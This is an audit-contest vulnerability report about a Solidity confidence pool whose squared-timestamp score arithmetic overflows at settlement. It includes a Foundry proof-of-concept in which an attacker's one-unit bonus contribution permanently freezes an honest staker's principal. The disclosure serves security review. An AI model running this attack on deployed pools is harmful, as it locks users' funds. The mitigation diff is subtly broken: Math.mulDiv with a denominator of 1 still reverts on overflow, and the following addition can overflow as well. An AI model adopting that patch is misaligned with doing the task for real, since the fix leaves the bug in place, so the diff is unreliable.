FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Score math multiplies unbounded token amounts by squared timestamps, reverting every settlement

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: The pool keeps its k=2 time-weighted bonus accounting as raw uint256 products of token amounts and absolute Unix timestamps; a deposit is weighted at the current timestamp, and settlement (_markRiskWindowStart, _bonusShare) evaluates those products at the terminal timestamp T before the 512-bit Math.mulDiv.

  • Specific issue: The accepted amounts are never bounded against the product capacity, and a timestamp squared is already about 1e19 at production scale, so a standard ERC20 with high decimals or a large raw supply lets an amount safe at deposit overflow T·T·amount at settlement — a checked-arithmetic revert on the exact calls that must succeed. Because _bonusShare skips its products only while snapshotTotalBonus == 0, a permissionless one-unit contributeBonus (no stake, no role) forces the overflowing product to run against the honest stakers' aggregate; at its worst, one raw unit of a dust token permanently freezes the entire pool's principal.

// src/ConfidencePool.sol
// _markRiskWindowStart():
sumStakeTimeSq = totalEligibleStake * t * t; // @> unbounded amount * t^2 (t up to expiry)
// _bonusShare():
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq; // @> T*T*amount evaluated before the 512-bit mulDiv

Risk

Likelihood:

  • WHEN the factory has allowlisted a standard ERC20 whose decimals/supply let the aggregate stake (or a single stake) push a T*T*amount product across 2^256 at the pool's terminal timestamp, an amount accepted at deposit time overflows at settlement.

  • WHEN a permissionless one-unit contributeBonus flips snapshotTotalBonus non-zero, the overflowing _bonusShare product runs against the honest stakers' aggregate; the attacker holds no stake and no role.

Impact:

  • The effect climbs from misrouted bonus (a stuck observation resolves SURVIVED with riskWindowStart == 0, so honest bonus is swept to recovery as unowed) to a full denial of claims, up to a permanent, unrecoverable freeze of all staker principal in a non-upgradeable clone.

  • The worst case is reachable by an unprivileged attacker for the cost of one raw token unit, once an affected standard ERC20 is allowlisted. No fee-on-transfer, rebasing, hook, or callback behavior is involved.

Proof of Concept

Both the worst-case permissionless freeze and the observation-time surface, against the in-scope pool. Save as test/unit/K2ScoreOverflow.t.sol and run forge test --match-contract K2ScoreOverflowTest -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract K2ScoreOverflowTest is BaseConfidencePoolTest {
// Worst case: 1 raw unit of bonus, no stake, no role, permanently freezes every staker.
function testOneRawUnitBonusPermanentlyFreezesEveryStaker() external {
uint256 t0 = block.timestamp;
uint256 T = pool.expiry();
uint256 largeStake = type(uint256).max / (T * T) + 1; // safe for t < expiry, overflows at T = expiry
_stake(alice, largeStake); // honest staker's voluntary position
_contributeBonus(attacker, 1); // attacker: one raw unit, no stake, no role
uint256 tRisk = t0 + 10 days;
vm.warp(tRisk);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertTrue(pool.riskWindowStart() != 0, "risk window sealed");
vm.warp(T); // expires while active-risk -> EXPIRED path, outcomeFlaggedAt = expiry (= T)
vm.prank(alice);
vm.expectRevert();
pool.claimExpired();
vm.prank(attacker);
pool.claimExpired(); // no eligible stake: finalizes and returns before _bonusShare
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED), "finalized by non-staker");
vm.prank(alice);
vm.expectRevert();
pool.claimExpired();
assertGt(pool.eligibleStake(alice), 0, "principal frozen");
}
// Observation-time surface: a large accepted stake bricks risk-window sealing and expiry resolution.
function testLargeStakeBricksRiskWindowSealing() external {
uint256 t0 = block.timestamp;
uint256 tRisk = t0 + 30 days;
uint256 largeStake = type(uint256).max / (tRisk * tRisk) + 1;
_stake(alice, 100 * ONE);
_stake(attacker, largeStake);
vm.warp(tRisk);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert();
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "risk window could not seal");
vm.warp(pool.expiry());
vm.expectRevert();
pool.claimExpired();
}
}

Passing result: both tests pass. The mock registry only moves the agreement forward through legal states; the overflow is a pure arithmetic property of accepting an unbounded amount, independent of the registry path.

Recommended Mitigation

function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
- uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
- uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
+ // Evaluate the k=2 score through overflow-safe intermediates so no partial product can revert.
+ uint256 userPlus = Math.mulDiv(userEligible, T * T, 1) + userSumStakeTimeSq[u];
+ uint256 plus = Math.mulDiv(snapshotTotalStaked, T * T, 1) + snapshotSumStakeTimeSq;
// ...
}

Bound the accepted amounts against the score capacity at the pool's maximum timestamp on stake() / contributeBonus() (reject amounts where expiry * expiry * (totalEligibleStake + amount) would exceed type(uint256).max), or compute every score product through Math.mulDiv / 512-bit intermediates. Removing the snapshotTotalBonus == 0 short-circuit alone is insufficient — the bound must cover the stake aggregate, not just the presence of bonus.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!